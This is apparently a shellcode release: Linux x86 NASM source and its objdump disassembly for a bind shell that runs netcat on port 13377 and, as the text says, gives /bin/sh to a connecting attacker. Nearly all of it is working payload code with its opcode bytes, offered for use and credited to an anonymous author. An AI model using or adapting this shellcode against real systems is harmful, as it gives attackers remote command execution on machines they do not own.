linux x86 nc -lvve/bin/sh -p13377 shellcode This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker Author: Anonymous Site: http://chaossecurity.wordpress.com/ Here is code written in NASM ///////////////////////////// section .text global _start _start: xor eax,eax xor edx,edx push 0x37373333 push 0x3170762d mov edx, esp push eax push 0x68732f6e push 0x69622f65 push 0x76766c2d mov ecx,esp push eax push 0x636e2f2f push 0x2f2f2f2f push 0x6e69622f mov ebx, esp push eax push edx push ecx push ebx xor edx,edx mov ecx,esp mov al,11 int 0x80 ////////////////////////////////// And here is objdump from which you can see the shellcode ////////////////////////////////// teo@teo-desktop ~ $ objdump -d a.out a.out: file format elf32-i386 Disassembly of section .text: 08048060 <.text>: 8048060: 31 c0 xor %eax,%eax 8048062: 31 d2 xor %edx,%edx 8048064: 68 33 33 37 37 push $0x37373333 8048069: 68 2d 76 70 31 push $0x3170762d 804806e: 89 e2 mov %esp,%edx 8048070: 50 push %eax 8048071: 68 6e 2f 73 68 push $0x68732f6e 8048076: 68 65 2f 62 69 push $0x69622f65 804807b: 68 2d 6c 76 76 push $0x76766c2d 8048080: 89 e1 mov %esp,%ecx 8048082: 50 push %eax 8048083: 68 2f 2f 6e 63 push $0x636e2f2f 8048088: 68 2f 2f 2f 2f push $0x2f2f2f2f 804808d: 68 2f 62 69 6e push $0x6e69622f 8048092: 89 e3 mov %esp,%ebx 8048094: 50 push %eax 8048095: 52 push %edx 8048096: 51 push %ecx 8048097: 53 push %ebx 8048098: 31 d2 xor %edx,%edx 804809a: 89 e1 mov %esp,%ecx 804809c: b0 0b mov $0xb,%al 804809e: cd 80 int $0x80